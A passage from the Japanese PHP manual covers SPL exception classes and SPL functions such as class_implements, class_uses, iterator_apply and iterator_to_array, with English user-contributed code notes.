        throw new RangeException("Divisor must not be zero");
    }
    return $divident / $input;
}


RuntimeException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

実行時にだけ発生するようなエラーの際にスローされます。

クラス概要

RuntimeException extends Exception {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

sricharan dot krishnan at gmail dot com 04-Jul-2016 10:41
A simple example of using RuntimeException Class:-

Lets say we would be dividing two numbers and throw an exception as soon as the denominator is equal to zero.

<?php
$iNum1 = 10;
$iNum2 = 0;

try{
if ($iNum2 == 0){
throw new RuntimeException("Division by Zero");
}
$iResult = $iNum1 / $iNum2;
echo ("Division Result of \$iNum1 and $iNum2 = ".($iResult)."<br/>");
}
catch (RuntimeException $e){
echo ("Division by Zero is not possible");
}
?>
kelerest123 at gmail dot com 12-Feb-2015 07:29
Whole exception-class hierarchy is shown at http://php.net/manual/en/spl.exceptions.php#spl.exceptions.tree
Dawid Krysiak 03-Feb-2011 02:31
Direct known subclasses (following the java docs convention (: ):
OutOfBoundsException, OverflowException, RangeException, UnderflowException, UnexpectedValueException


UnderflowException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

空のコンテナ上で無効な操作 (要素の削除など) を試みたときにスローされる例外です。

クラス概要

UnderflowException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

evguenia dot chagnon at gmail dot com 26-Jan-2017 01:40
UnderflowException handles exceptions due to a value being too small to maintain precision, resulting in loss of accuracy. In PHP, this can occurs when using floats:

echo (1-0.9) // 0.1
echo (1-0.99) // 0.01
echo (1-0.999) // 0.001
echo (1-0.9999) // 9.9999999999989E-05
echo (1-0.99999) // 9.9999999999545E-06
echo (1-0.999999) // 1.0000000000288E-06


UnexpectedValueException クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

いくつかの値のセットに一致しない値であった際にスローされる例外です。 これが発生する例としては、ある関数が別の関数をコールしていて、 その関数の返り値が特定の型や値である (そして計算やバッファ関連のエラーがない) ことを想定している場合があります。

クラス概要

UnexpectedValueException extends RuntimeException {
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 継承したメソッド */
public Exception::__construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public Exception::getMessage ( ) : string
final public Exception::getPrevious ( ) : Exception
final public Exception::getCode ( ) : mixed
final public Exception::getFile ( ) : string
final public Exception::getLine ( ) : int
final public Exception::getTrace ( ) : array
final public Exception::getTraceAsString ( ) : string
public Exception::__toString ( ) : string
final private Exception::__clone ( ) : void
}

User Contributed Notes

There are no user contributed notes for this page.


SPL 関数

目次

  • class_implements — 与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す
  • class_parents — 与えられたクラスの親クラスを返す
  • class_uses — 指定したクラスが使っているトレイトを返す
  • iterator_apply — ユーザー関数をイテレータのすべての要素でコールする
  • iterator_count — イテレータにある要素をカウントする
  • iterator_to_array — イテレータを配列にコピーする
  • spl_autoload_call — 要求されたクラスを読み込むために、すべての登録済みの __autoload() 関数を試す
  • spl_autoload_extensions — spl_autoload 用のデフォルトの拡張子を登録し、それを返す
  • spl_autoload_functions — すべての登録済み __autoload() 関数を返す
  • spl_autoload_register — 指定した関数を __autoload() の実装として登録する
  • spl_autoload_unregister — 指定した関数の、__autoload() の実装としての登録を解除する
  • spl_autoload — __autoload() のデフォルト実装
  • spl_classes — 利用可能な SPL クラスを返す
  • spl_object_hash — 指定したオブジェクトのハッシュ ID を返す
  • spl_object_id — 与えられたオブジェクトを扱う数値オブジェクトを返す

User Contributed Notes

benny at whitewashing dot de 22-Jul-2008 09:56
I have to correct my implementation from before. The example before only supported correct read-access but failed on setting new values after creation of the ArrayMultiObject. Also i had to correct a bug that occured from my CopyPasteChange into the comment textarea.

This snippet now hopefully implements a fully functional multidimensional array, represented by an ArrayObject:

<?php
class ArrayMultiObject extends ArrayObject
{
    function __construct($array, $flags = 0, $iterator_class = "ArrayIterator")
    {
        $objects = array();
        foreach($array AS $key => $value) {
            if(is_array($value)) {
                $objects[$key] = new ArrayMultiObject($value, $flags, $iterator_class);
            } else {
                $objects[$key] = $value;
            }
        }

        parent::__construct($objects, $flags, $iterator_class);
    }

    public function offsetSet($name, $value)
    {
        if(is_array($value)) {
            $value = new ArrayMultiObject($value);
        }

        return parent::offsetSet($name, $value);
    }
}
?>
loaded67 at hotmail dot com 19-May-2008 01:56
For some application I needed to reverse some standard iterators.

So I mocked up this flexible function.
Enjoy

<?php
function reverse_iterator(Iterator $iterator){
    $type     = get_class($iterator);
    $array     = array_reverse(iterator_to_array($iterator), true);
    return new $type($array);
}
?>
prometheus - csaba dot dobai at php-sparcle dot hu 13-Sep-2007 02:33
This code is an example. By using classes like this, you gives a chance to create classes which extends another class but have most of the ability what a class extends ArrayObject (like multiple inheritance):

<?php

class foo
{
    public $foo = 'foo';
} // class

class foobar extends foo implements ArrayAccess,IteratorAggregate,Countable
{
    public function offsetExists($offset)
    {
        $array = array(1, 2, 3, 4);
        return array_key_exists($offset, $array);
    }

    public function offsetGet($offset)
    {
        $array = array(1, 2, 3, 4);
        return $array[$offset];
    }

    public function offsetSet($offset, $value)
    {
        // Makes "array" to readonly
    }

    public function offsetUnset($offset)
    {
        // Makes "array" to readonly
    }

    function count()
    {
        $array = array(1, 2, 3, 4);
        return count($array);
    } // function

    function getArray()
    {
        return array(1, 2, 3, 4);
    } // function

    function getIterator()
    {
        return new ArrayIterator(array(1, 2, 3, 4));
    } // function

    function __toString()
    {
        return 'String test';
    } // function
} // class

$foobar = new foobar();
print $foobar[0].'<br/>';
print $foobar->foo.'<br/>';
print count($foobar).'<br/>';

foreach ($foobar as $k=>$v)
{
    print $k.'=>'.$v.'<br/>';
} // foreach

var_dump($foobar->getArray());

print $foobar;

/* Generated output:
1
foo
4
0=>1
1=>2
2=>3
3=>4
array
  0 => int 1
  1 => int 2
  2 => int 3
  3 => int 4
String test
*/
?>

For proper use you must be define all these methods except getArray()

Browse SPL's sources to be a very helpful think.

ps.: sry for my english
semperluc (at) yahoo._forgot_the_rest 01-Feb-2007 01:43
<?php
/*
How to store SPL Iterator results (rather than just echo-and-forget):

The library of Iterators  are object based, so you need to trick the little rascals into an array.
Here's how (two ways) ...

1. Explicit typecasts: $a[] = (array)$Obj->objMethod();

2. Array definition: $a[] = array( key => $Obj->objMethod() );

Examples: DirectoryIterator()
*/

// 1. explicity typecast object as array
foreach ( new DirectoryIterator('./') as $Item )
{
  $fname = (array)$Item->getFilename();
  $dir_listing[] = $fname[0];
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre><hr />";
//

// or

// 2. define array as key => object->method
foreach ( new DirectoryIterator('./') as $Item )
{
  $dir_listing[] = array (
    "fname" => $Item->getFilename(),
    "path" => $Item->getPathname(),
    "size" => $Item->getSize(),
    "mtime" => $Item->getMTime()
  );
}

//
echo "<pre>";
print_r($dir_listing); unset($dir_listing);
echo"</pre>";
//
?>
ville</.>witt</a>gmail</.>com 12-Jan-2006 12:37
These to funtions has excatly the same output, the only diff. is in which directory iterator they use. I hope someone out there can use it:
<?php
function listfilesin1 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new DirectoryIterator($dir) as $file) {
        if (!$file->isDot()) {
            if ($file->isDir()) {
                $newdir = $file->getPathname();
                listfilesin1($newdir, $depth+1);
            } else {
                echo "($depth)".$file->getPathname() . "<br/>";
            }
        }
    }
}
function listfilesin2 ($dir = ".", $depth=0) {
    echo "Dir: ".$dir."<br/>";
    foreach(new RecursiveDirectoryIterator($dir) as $file) {
        if ($file->hasChildren(false)) {
            $newdir = $file->key();
            listfilesin2($newdir, $depth+1);
        } else {
            echo "($depth)".$file->key() . "<br/>";
        }
    }
}
listfilesin();
?>
adove at booyahnetworks dot com 10-Oct-2005 10:45
Something to note that, at least to me, seems pretty important and is not entirely clear in the documentation is the fact that the ArrayObject class supports get/set on uni-dimensional keys and get ONLY on *passed* multi-dimensional keys/paths (see source below). If you, like me, need to support array accesss overloading for multi-dimensional data, you will need to derive from ArrayObject and overide the ArrayAccess interface methods to "walk" passed data and convert embedded arrays to objects of some kind...

Reference Bug 34816 @ http://bugs.php.net/bug.php?id=34816.

Illustration of the issue:

$a = array(
    "test" => array(
        "one" => "dunno",
        "two" => array(
            "peekabo" => "do you see me?",
            "anyone" => array("there")
            )
        )
    );
$oArray = new ArrayObject($a);
var_dump($oArray);

$oArray["three"] = "No problems here.";

echo "\n\\test\\one == " . $oArray["test"]["one"] . "\n\n";

// NEITHER of the two below will work!
$oArray["test"]["one"] = "Yes I do!";
$oArray["test"]["yes"] = array(
    "hello" => "Goodbye!"
    );

var_dump($oArray);

---
Note from the extension author:
Actually there is RecursiveArrayObject and RecursiveArrayIterator to deal with recursive structures. However this does not always solve all multidimensional issues as expected.
helly at php dot net 25-Sep-2005 02:41
There is a RecursiveFilterIterator that makes the above code much easier. And then ther is ParentIterator thta is already a filtering recursive iterator that only accepts elements that have children, with a RecursiveDirectoryIterator as inner iterator you would obviously get only the directories. Further more it ensures that it creates the correct children. All in all you simply need to do this:

$it = new RecursiveDirectoryIterator($path);
$it = new ParentIterator($it);
$it = new RecursiveIteratorIteator($it);

foreach($it as $dir  => $o) { ... }
phil &ampersat; flatnet.net 17-Apr-2004 03:11
Here's a sample implementation of the RecursiveDirectoryIterator class. It prints a simple treeview of a given directory:
<?php
function recurse($it) {
   echo '<ul>';
   for( ; $it->valid(); $it->next()) {
       if($it->isDir() && !$it->isDot()) {
           printf('<li class="dir">%s</li>', $it->current());
           if($it->hasChildren()) {
               $bleh = $it->getChildren();
               echo '<ul>' . recurse($bleh) . '</ul>';
           }
       } elseif($it->isFile()) {
           echo '<li class="file">'. $it->current() . ' (' . $it->getSize(). ' Bytes)</li>';
       }
   }
   echo '</ul>';
}

recurse(new RecursiveDirectoryIterator('D:/'));
?>


与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す

  • ≪ SPL 関数
  • class_parents ≫
  • PHP Manual
  • SPL 関数
  • 与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す

class_implements

(PHP 5, PHP 7)

class_implements — 与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す

説明

class_implements ( mixed $class , bool $autoload = true ) : array

この関数は、与えられたクラス class とその親が実装しているインターフェイスを配列で返します。

パラメータ

class

オブジェクト (クラスのインスタンス) もしくは文字列 (クラス名あるいはインターフェイス名) を指定します。

autoload

__autoload() マジックメソッドを通じて、 この関数にクラスを自動的にロードさせるかどうかを指定します。

返り値

成功した場合に配列、エラー時に false を返します。

例

例1 class_implements() の例

<?php

interface foo { }
class bar implements foo {}

print_r(class_implements(new bar));

// PHP 5.1.0 以降、パラメータを文字列として指定しても良い
print_r(class_implements('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// 'not_loaded' クラスをロードするために __autoload を使用する
print_r(class_implements('not_loaded', true));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [foo] => foo
)

Array
(
    [interface_of_not_loaded] => interface_of_not_loaded
)

参考

  • class_parents() - 与えられたクラスの親クラスを返す
  • get_declared_interfaces() - 宣言されている全てのインターフェイスの配列を返す

User Contributed Notes

sam at rmcreative dot ru 03-Apr-2019 07:16
The order of interfaces is not reliable and varies between PHP versions.
a dot panek at brainsware dot org 05-Nov-2013 01:29
Calling class_implements with a non-loadable class name or a non-object results in a warning:

<?php
// Warning: class_implements(): Class abc does not exist and could not be loaded in /home/a.panek/Projects/sauce/lib/Sauce/functions.php on line 196

$interfaces = class_implements('abc');
?>

This is not documented and should just return FALSE as the documentation above says.
paul at paulferrett dot com 30-Dec-2009 05:35
You can also check if a class implements an interface using instanceof.

E.g.
<?php
if($myObj instanceof MyInterface) {
    echo "It is! It is!";
}
?>
trollll23 at yahoo dot com 25-Oct-2005 12:57
Luckily, it prints out superinterfaces as well in reverse order so iterative searching works fine:

    <?php

    interface InterfaceA { }

    interface InterfaceB extends InterfaceA { }

    class MyClass implements InterfaceB { }

    print_r(class_implements(new MyClass()));

    ?>

prints out:

    Array
    (
        [InterfaceB] => InterfaceB
        [InterfaceA] => InterfaceA
    )
ludvig dot ericson at gmail dot nospam dot com 01-Aug-2005 12:41
Hint:
<?php
in_array("your-interface", class_implements($object_or_class_name));
?>
would check if 'your-interface' is ONE of the implemented interfaces.
Note that you can use something similar to be sure the class only implements that, (whyever you would want that?)
<?php
array("your-interface") == class_implements($object_or_class_name);
?>

I use the first technique to check if a module has the correct interface implemented, or else it throws an exception.


与えられたクラスの親クラスを返す

  • ≪ class_implements
  • class_uses ≫
  • PHP Manual
  • SPL 関数
  • 与えられたクラスの親クラスを返す

class_parents

(PHP 5, PHP 7)

class_parents — 与えられたクラスの親クラスを返す

説明

class_parents ( mixed $class , bool $autoload = true ) : array

この関数は、与えられたクラス class の親クラス名を 配列で返します。

パラメータ

class

オブジェクトもしくはクラスの文字列を指定します。

autoload

__autoload() マジックメソッドを通じて、 この関数にクラスを自動的にロードさせるかどうかを指定します。

返り値

成功した場合に配列、エラー時に false を返します。

例

例1 class_parents() の例

<?php

class foo { }
class bar extends foo {}

print_r(class_parents(new bar));

// PHP 5.1.0 以降、パラメータを文字列として指定しても良い
print_r(class_parents('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// 'not_loaded' クラスをロードするために __autoload を使用する
print_r(class_parents('not_loaded', true));
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [foo] => foo
)

Array
(
    [parent_of_not_loaded] => parent_of_not_loaded
)

参考

  • class_implements() - 与えられたクラスあるいはインターフェイスが実装しているインターフェイスを返す

User Contributed Notes

sergei dot solomonov at gmail dot com 02-Oct-2012 02:57
<?php
class foo {}
class bar extends foo {}
class baz extends bar {}

print_r(class_parents(new baz));
?>

Will output:
Array
(
    [bar] => bar
    [foo] => foo
)


指定したクラスが使っているトレイトを返す

  • ≪ class_parents
  • iterator_apply ≫
  • PHP Manual
  • SPL 関数
  • 指定したクラスが使っているトレイトを返す

class_uses

(PHP 5 >= 5.4.0, PHP 7)

class_uses — 指定したクラスが使っているトレイトを返す

説明

class_uses ( mixed $class , bool $autoload = true ) : array

この関数は、指定したクラスが使っているトレイトの名前を配列で返します。 しかし、親クラスで使っているトレイトは含まれません。

パラメータ

class

オブジェクト (クラスのインスタンス) あるいは文字列 (クラス名)。

autoload

マジックメソッド __autoload() で、この関数からクラスを自動的に読み込ませるかどうか。

返り値

成功した場合に配列、エラー時には false を返します。

例

例1 class_uses() の例

<?php

trait foo { }
class bar {
  use foo;
}

print_r(class_uses(new bar));

print_r(class_uses('bar'));

function __autoload($class_name) {
   require_once $class_name . '.php';
}

// __autoload で 'not_loaded' クラスを読み込みます
print_r(class_uses('not_loaded', true));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [foo] => foo
)

Array
(
    [foo] => foo
)

Array
(
    [trait_of_not_loaded] => trait_of_not_loaded
)

参考

  • class_parents() - 与えられたクラスの親クラスを返す
  • get_declared_traits() - 宣言されているすべてのトレイトの配列を返す

User Contributed Notes

Jos Macedo 16-Aug-2020 01:16
Another alternative to get all parent traits is:

<?php
function getUsedTraits($classInstance) {
    $parentClasses = class_parents($classInstance);
    $traits = class_uses($classInstance);

    foreach ($parentClasses as $parentClass) {
        $traits = array_merge($traits, class_uses($parentClass));
    }

    return $traits;
}
?>
Daniel Klein 23-Feb-2018 12:53
I have improved on ulf's improvement of stealz' code. I'm pretty sure the last "foreach" adds nothing, so I've removed it, as well as adding a check for string class names (as opposed to objects) to prevent the warning if the class is not found:

<?php
function class_uses_deep($class, $autoload = true) {
  $traits = [];

  // Get all the traits of $class and its parent classes
  do {
    $class_name = is_object($class)? get_class($class): $class;
    if (class_exists($class_name, $autoload)) {
      $traits = array_merge(class_uses($class, $autoload), $traits);
    }
  } while ($class = get_parent_class($class));

  // Get traits of all parent traits
  $traits_to_search = $traits;
  while (!empty($traits_to_search)) {
    $new_traits = class_uses(array_pop($traits_to_search), $autoload);
    $traits = array_merge($new_traits, $traits);
    $traits_to_search = array_merge($new_traits, $traits_to_search);
  };

  return array_unique($traits);
}
Daniel Klein 23-Feb-2018 12:48
If the class does not exist, you will get a warning, even if $autoload == false; I.e., if the class is not found, setting $autoload to false is not sufficient to silence the warning.

This is different from class_exists ($class_name, $autoload = true), which doesn't generate a warning in either case.
ulf 11-Jul-2013 09:21
A slighly modified version from Stealz that also checks all the "parent" traits used by the traits:

<?php
public static function class_uses_deep($class, $autoload = true)
    {
        $traits = [];

        // Get traits of all parent classes
        do {
            $traits = array_merge(class_uses($class, $autoload), $traits);
        } while ($class = get_parent_class($class));

        // Get traits of all parent traits
        $traitsToSearch = $traits;
        while (!empty($traitsToSearch)) {
            $newTraits = class_uses(array_pop($traitsToSearch), $autoload);
            $traits = array_merge($newTraits, $traits);
            $traitsToSearch = array_merge($newTraits, $traitsToSearch);
        };

        foreach ($traits as $trait => $same) {
            $traits = array_merge(class_uses($trait, $autoload), $traits);
        }

        return array_unique($traits);
    }
?>
adam at adamhahn dot com 30-Apr-2013 11:34
FYI: It is not explicitly stated, but if you run this function against a class that does not use any traits it will return an empty array.

<?php

class iDontUseTraits {
}

class_uses('iDontUseTraits'); // Returns empty array

?>
stealz at op dot pl 01-Dec-2012 10:20
To get ALL traits including those used by parent classes and other traits, use this function:

<?php
function class_uses_deep($class, $autoload = true) {
    $traits = [];
    do {
        $traits = array_merge(class_uses($class, $autoload), $traits);
    } while($class = get_parent_class($class));
    foreach ($traits as $trait => $same) {
        $traits = array_merge(class_uses($trait, $autoload), $traits);
    }
    return array_unique($traits);
}
?>


ユーザー関数をイテレータのすべての要素でコールする

  • ≪ class_uses
  • iterator_count ≫
  • PHP Manual
  • SPL 関数
  • ユーザー関数をイテレータのすべての要素でコールする

iterator_apply

(PHP 5 >= 5.1.0, PHP 7)

iterator_apply — ユーザー関数をイテレータのすべての要素でコールする

説明

iterator_apply ( Traversable $iterator , callable $function , array $args = null ) : int

イテレータ内のすべての要素に対して関数をコールします。

パラメータ

iterator

順次処理したいイテレータオブジェクト

function

すべての要素に対してコールしたいコールバック関数。 この関数は args のみを受け取ります。 デフォルトでは引数を渡されません。 たとえば count($args) === 3 の場合、 コールバック関数は3変数関数です。

注意: iterator での処理を続けるために、 この関数は true を返さなければなりません。

args

コールバック関数に渡す引数。 引数の array。 args の個々の要素が コールバック function に別々の引数として渡されます。

返り値

イテレータの要素数を返します。

例

例1 iterator_apply() の例

<?php
function print_caps(Iterator $iterator) {
    echo strtoupper($iterator->current()) . "\n";
    return TRUE;
}

$it = new ArrayIterator(array("Apples", "Bananas", "Cherries"));
iterator_apply($it, "print_caps", array($it));
?>

上の例の出力は以下となります。

APPLES
BANANAS
CHERRIES

参考

  • array_walk() - 配列の全ての要素にユーザー定義の関数を適用する

User Contributed Notes

tezcatl at fedoraproject dot org 19-Aug-2018 08:43
Each of the arguments required by the function, must be in the array supplied in the third argument to iterator_apply. You can use references too. Example:

<?php

function translate_to(string $target_language, Iterator $words, array $dictionaries) {

    $language = ucfirst($target_language);
    $dictionary = $dictionaries[$target_language] ?? 'not found';

    if ($dictionary === 'not found') {
        echo "Not found dictionary for {$language}\n";
        return;
    }

    echo "English words translated to {$language}\n";

    $not_found = [];

    iterator_apply($words, function($words, $dictionary, &$not_found){

        $english_word = $words->current();

        $translated_word = $dictionary[$english_word] ?? '';

        if ($translated_word !== '') {
            echo "{$english_word} translates to {$translated_word}\n";
        } else {
            $not_found[] = $english_word;
        }

        return true;

    }, array($words, $dictionary, &$not_found));

    echo "\nNot found words:\n" . implode("\n", $not_found) . "\n";
}

$dictionaries = [
    'nahuatl' => [
        'one' => 'Ze',
        'two' => 'Ome',
        'three' => 'Yei',
        'four' => 'Nahui',
    ],
];

$iterator = new \ArrayIterator(array('one', 'two', 'three', 'four', 'gasoil'));

translate_to('nahuatl', $iterator, $dictionaries);
?>

English words translated to Nahuatl
one translates to Ze
two translates to Ome
three translates to Yei
four translates to Nahui

Not found words:
gasoil
tezcatl at fedoraproject dot org 19-Aug-2018 07:35
Be aware of the proper methods to iterate the specific Iterator you are consuming, as the implementation of the method could vary its behaviour.

For example, unlike the ArrayIterator, you can't iterate on a SplDoubleLinkedList with current() without using next() on every iteration (and then, only would iterate if you return true at the end of the callable. It is far easier then with LinkedLists use a while($it->valid()) { $it->current(); $it->next(); }

Let's see:

<?php

$ll = new \SplDoublyLinkedList();

$ll->push('ze');
$ll->push('ome');
$ll->push('yei');
$ll->push('nahui');

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->rewind();

$iterations_done = iterator_apply($ll, function(Iterator $it) {

    echo implode("\t=>", [
        $it->key(),
        $it->current(),
        ucfirst($it->current())
    ]),"\n";

    $it->next();

    return true;

}, array($ll));

echo "Did iterate {$iterations_done} times \n";

$ll->setIteratorMode(SplDoublyLinkedList::IT_MODE_FIFO | SplDoublyLinkedList::IT_MODE_DELETE);

var_dump($ll->count());

foreach($ll as $key => $val) {
    echo "{$key}\t",ucfirst($val),"\n";
}

var_dump($ll->count());
?>

Output:

0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
0    =>ze    =>Ze
Did iterate 4 times
0    =>ze    =>Ze
1    =>ome    =>Ome
2    =>yei    =>Yei
3    =>nahui    =>Nahui
Did iterate 4 times
int(4)
0    Ze
0    Ome
0    Yei
0    Nahui
int(0)
ycgambo at outlook dot com 22-Nov-2017 06:47
$args is an array and each of its elements are passed to the callback as separate arguments.

so this is the right way to get args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function() {
    var_dump(func_get_args());     // use this func
    return true;
}, array(1, 2));
?>

output:

array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}
array(2) {
  [0] =>
  int(1)
  [1] =>
  int(2)
}

--------------------------------------------------
or list each args:

<?php
$ai = new ArrayIterator(range(0, 2));

iterator_apply($ai, function($arg1, $arg2, $arg3) {
    var_dump([$arg1, $arg2, $arg3]);
    return true;
}, array(1, 2));
?>

same output.


イテレータにある要素をカウントする

  • ≪ iterator_apply
  • iterator_to_array ≫
  • PHP Manual
  • SPL 関数
  • イテレータにある要素をカウントする

iterator_count

(PHP 5 >= 5.1.0, PHP 7)

iterator_count — イテレータにある要素をカウントする

説明

iterator_count ( Traversable $iterator ) : int

イテレータにある要素をカウントします。 iterator_count() は、 iterator の現在位置がそのまま保たれることを保障しません。

パラメータ

iterator

カウントしたいイテレータ。

返り値

iterator の要素数を返します。

例

例1 iterator_count() の例

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_count($iterator));
?>

上の例の出力は以下となります。

int(4)

例2 iterator_count() で位置を変更する例

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
var_dump($iterator->current());
var_dump(iterator_count($iterator));
var_dump($iterator->current());
?>

上の例の出力は以下となります。

string(3) "one"
int(3)
NULL

例3 foreach ループ内での iterator_count()

<?php
$iterator = new ArrayIterator(['one', 'two', 'three']);
foreach ($iterator as $key => $value) {
    echo "$key: $value (", iterator_count($iterator), ")\n";
}?>

上の例の出力は以下となります。

0: one (3)

User Contributed Notes

info at ensostudio dot ru 16-Oct-2020 12:31
Safe using:
<?php
$cnt = iterator_count(clone $iterator);
?>
fractile81 at gmail dot com 05-Jun-2020 02:33
After using this function, the traversable's pointer will point at the end.  Examples 2 and 3 highlight this using code.

This means that when you call iterator_count($foo)...
- Before a foreach-loop on $foo, the loop will not execute because it's already at the end.  Calling $foo->rewind() will reset the traversable to the beginning.
- Inside a foreach-loop on $foo, the loop will complete the current iteration and not repeat.  Something like $foo->seek($i) can be used to reset the pointer, where $i contains the pointer's value prior to counting.


イテレータを配列にコピーする

  • ≪ iterator_count
  • spl_autoload_call ≫
  • PHP Manual
  • SPL 関数
  • イテレータを配列にコピーする

iterator_to_array

(PHP 5 >= 5.1.0, PHP 7)

iterator_to_array — イテレータを配列にコピーする

説明

iterator_to_array ( Traversable $iterator , bool $use_keys = true ) : array

イテレータの要素を配列にコピーします。

パラメータ

iterator

コピーしたいイテレータ。

use_keys

イテレータの要素のキーをインデックスとして使用するかどうか。

PHP 5.5 以降では、キーが array あるいは object のときに警告を発するようになりました。 キーが null の場合は空文字列に変換し、キーが float の場合は int 型になるよう切り詰めます。 キーが resource の場合は警告を発し、リソース ID に変換します。 また、キーが bool の場合は整数値に変換します。

注意:

このパラメータを省略したり true を指定したりした場合は、 重複するキーは上書きされます。そのキーに対して最後にあらわれた値が array で返されることになります。 このパラメータを false にすると、重複があってもすべての値を返します。

返り値

iterator の要素を含む配列を返します。

例

例1 iterator_to_array() の例

<?php
$iterator = new ArrayIterator(array('recipe'=>'pancakes', 'egg', 'milk', 'flour'));
var_dump(iterator_to_array($iterator, true));
var_dump(iterator_to_array($iterator, false));
?>

上の例の出力は以下となります。

array(4) {
  ["recipe"]=>
  string(8) "pancakes"
  [0]=>
  string(3) "egg"
  [1]=>
  string(4) "milk"
  [2]=>
  string(5) "flour"
}
array(4) {
  [0]=>
  string(8) "pancakes"
  [1]=>
  string(3) "egg"
  [2]=>
  string(4) "milk"
  [3]=>
  string(5) "flour"
}

User Contributed Notes

enelar at develop-project dot ru 22-Jan-2017 04:26
Generator approach

function scandir_deep($dir)
{
  foreach (scandir($dir) as $key => $value)
    if (in_array($value, [".",".."]))
      continue;
    else if (is_dir($dir . DIRECTORY_SEPARATOR . $value))
      yield $value => scandir_deep($dir . DIRECTORY_SEPARATOR . $value);
    else
      yield $value;
}
Harry Willis 07-Jun-2015 09:21
When using iterator_to_array() on an SplObjectStorage object, it's advisable to set $use_keys to false.

The resulting array is identical, since the iterator keys produced by SplObjectStorage::key() are always integers from 0 to (COUNT-1). Passing $use_keys=false cuts out the unnecessary calls to SplObjectStorage::key(), giving a slight performance advantage.
joksnet at gmail dot com 26-Oct-2014 08:36
To generate an deep array from nested iterators:

<?php
function iterator_to_array_deep(\Traversable $iterator, $use_keys = true) {
    $array = array();
    foreach ($iterator as $key => $value) {
        if ($value instanceof \Iterator) {
            $value = iterator_to_array_deep($value, $use_keys);
        }
        if ($use_keys) {
            $array[$key] = $value;
        } else {
            $array[] = $value;
        }
    }
    return $array;
}
?>

I use it to test an iterator: https://gist.github.com/jm42/cb328106f393eeb28751
jerome at yazo dot net 09-Dec-2008 10:42
Using the boolean param :

<?php

$first = new ArrayIterator( array('k1' => 'a' , 'k2' => 'b',  'k3' => 'c',  'k4' => 'd') );
$second = new ArrayIterator( array( 'k1' => 'X', 'k2' => 'Y', 'Z' ) );

$combinedIterator= new AppendIterator();
$combinedIterator->append( $first );
$combinedIterator->append( $second );

var_dump( iterator_to_array($combinedIterator, false) );

?>

will output :

array(7) (
  [0]=>
  string(1) "a"
  [1]=>
  string(1) "b"
  [2]=>
  string(1) "c"
  [3]=>
  string(1) "d"
  [4]=>
  string(1) "X"
  [5]=>
  string(1) "Y"
  [6]=>
  string(1) "Z"
)

<?php

var_dump( iterator_to_array($combinedIterator, true) );

?>

will output (since keys would merge) :

array(5) (
  ["k1"]=>
  string(1) "X"
  ["k2"]=>
  string(1) "Y"
  ["k3"]=>
  string(1) "c"
  ["k4"]=>
  string(1) "d"
  [0]=>
  string(1) "Z"
)
chad 0x40 herballure 0x2e com 27-Mar-2008 06:23
The use_keys parameter was added in one of the 5.2.x releases; it defaults to TRUE. This matches the behavior in PHP 5.1.6, which lacks this parameter.


要求されたクラスを読み込むために、すべての登録済みの __autoload() 関数を試す

  • ≪ iterator_to_array
  • spl_autoload_extensions ≫
  • PHP Manual
  • SPL 関数
  • 要求されたクラスを読み込むために、すべての登録済みの __autoload() 関数を試す

spl_autoload_call

(PHP 5 >= 5.1.0, PHP 7)

spl_autoload_call — 要求されたクラスを読み込むために、すべての登録済みの __autoload() 関数を試す

説明

spl_autoload_call ( string $class_name ) : void

この関数は、登録済みの __autoload 関数を使用して クラスあるいはインターフェイスを手動で探すために使用することができます。

パラメータ

class_name

探したいクラス名。

返り値

値を返しません。

User Contributed Notes

k dot varmark at gmail dot com 02-Feb-2011 03:40
It should be noted, that calling spl_autoload_call on a child class, and then on its parent class, throws a fatal error.

This happens because autoloading the child class also loads the class it extends. And since spl_autoload_call forcibly calls the registered autoload function(s), not taking into account whether the class exists, a fatal error is thrown:

File: child.class.php

<?php
class Child extends Parent () {
    public function __construct () {
        parent::__construct();
    }
}
?>

File: parent.class.php

<?php
class Parent () {
    public function __construct () {

    }
}
?>

File: autoload.php

<?php

/*    works fine    */
    spl_autoload_call('Child');

